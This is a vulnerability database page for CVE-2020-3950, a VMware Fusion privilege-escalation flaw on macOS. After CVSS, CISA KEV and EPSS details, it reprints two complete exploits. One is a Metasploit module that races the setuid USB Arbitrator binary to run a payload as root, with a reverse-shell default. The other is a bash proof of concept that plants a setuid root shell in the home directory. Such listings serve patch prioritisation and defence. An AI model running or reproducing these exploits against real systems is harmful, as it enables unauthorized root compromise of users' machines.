Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-269 |
Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : VMware Multiple Products Privilege Escalation Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2021-11-02 23h00 +00:00
Action is due : 2022-05-02 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48337
Publication date : 2020-04-15 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
'Description' => %q(
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
The Open VMware USB Arbitrator Service can be launched outide of its standard path
which allows loading of an attacker controlled binary. By creating a payload in the
user home directory in a specific folder, and creating a hard link to the 'Open VMware
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
with an effective UID of 0.
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Dhanesh Kizhakkinan', # discovery
'Rich Mirch', # edb module
'jeffball <
[email protected]>', # 11.5.3 exploit
'grimm'
],
'Platform' => [ 'osx' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2020-3950' ],
[ 'EDB', '48235' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
],
'DisclosureDate' => 'Mar 17 2020',
'DefaultOptions' =>
{
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
'WfsDelay' => 15
}
)
)
register_options [
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def open_usb_service
'Open VMware USB Arbitrator Service'
end
def usb_service
'VMware USB Arbitrator Service'
end
def get_home_dir
home = cmd_exec 'echo ~'
if home.blank?
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
end
home
end
def content_dir
"#{get_home_dir}/Contents"
end
def base_dir
"#{content_dir}/Library/services/"
end
def kill_process(executable)
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
cmd_exec pid_kill
end
def get_version
# Thanks to @ddouhine on github for this answer!
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
if version_raw.blank?
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
end
Gem::Version.new(version)
end
def pre_11_5_3
# Upload payload executable & chmod
payload_filename = "#{base_dir}#{usb_service}"
print_status "Uploading Payload: #{payload_filename}"
write_file payload_filename, generate_payload_exe
chmod payload_filename, 0o755
register_file_for_cleanup payload_filename
# create folder structure and hard link to the original binary
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
print_status "Created folder (#{link_folder}) and link"
print_status 'Starting USB Service (5 sec pause)'
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
Rex.sleep 5 # give time for the service to execute our payload
print_status 'Killing service'
cmd_exec "pkill '#{open_usb_service}'"
print_status "Deleting #{root_link_folder}"
rm_rf root_link_folder
end
def exactly_11_5_3
# Upload payload executable & chmod
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
print_status "Uploading Payload to #{payload_name}"
write_file payload_name, generate_payload_exe
chmod payload_name, 0o755
#create race with codesign check
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
print_status 'Uploading race condition executable.'
race = <<~EOF
#!/bin/sh
while [ "1" = "1" ]; do
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
done
EOF
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx racer_name, race
register_file_for_cleanup racer_name
register_dirs_for_cleanup root_link_folder
# create the hard link
print_status "Creating folder (#{link_folder}) and link"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
# create the launcher to start the racer and keep launching our service to attempt to win
launcher = <<~EOF
#!/bin/sh
#{racer_name} &
for i in {1..#{datastore['MAXATTEMPTS']}}
do
echo "attempt $i";
'#{link_folder}#{open_usb_service}'
done
EOF
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx runner_name, launcher
register_file_for_cleanup runner_name
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
results = cmd_exec "#{runner_name} & :"
Rex.sleep 15 # give time for the service to execute our payload
vprint_status results
print_status 'Exploit Finished, killing scripts.'
kill_process racer_name
kill_process runner_name # in theory should be killed already but just in case
kill_process "'#{link_folder}#{open_usb_service}'"
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
end
def check
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
print_bad "'#{open_usb_service}' binary missing"
return CheckCode::Safe
end
version = get_version
if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
vprint_good "Vmware Fusion #{version} is exploitable"
else
print_bad "VMware Fusion #{version} is NOT exploitable"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our payload to the remote system
rm_rf content_dir # live dangerously.
if directory? content_dir
fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
end
cmd_exec "mkdir -p #{base_dir}"
register_dirs_for_cleanup content_dir
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable."
end
version = get_version
if version == Gem::Version.new('11.5.3')
vprint_status 'Using 11.5.3 exploit'
exactly_11_5_3
elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
vprint_status 'Using pre-11.5.3 exploit'
pre_11_5_3
end
rm_rf content_dir # live dangerously.
end
end
Exploit Database EDB-ID : 48235
Publication date : 2020-03-19 23h00 +00:00
Author : Rich Mirch
EDB Verified : Yes
# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"
mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services
cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF
chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service
cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait
echo "Sleeping for 7 seconds"
sleep 7
$HOME/.woot -p
Products Mentioned
Configuraton 0
Vmware>>Fusion >> Version From (including) 11.0.0 To (excluding) 11.5.2
Vmware>>Horizon_client >> Version From (including) 5.0.0 To (excluding) 5.4.0
Vmware>>Remote_console >> Version From (including) 11.0.0 To (excluding) 11.0.1
Apple>>Macos >> Version -
References
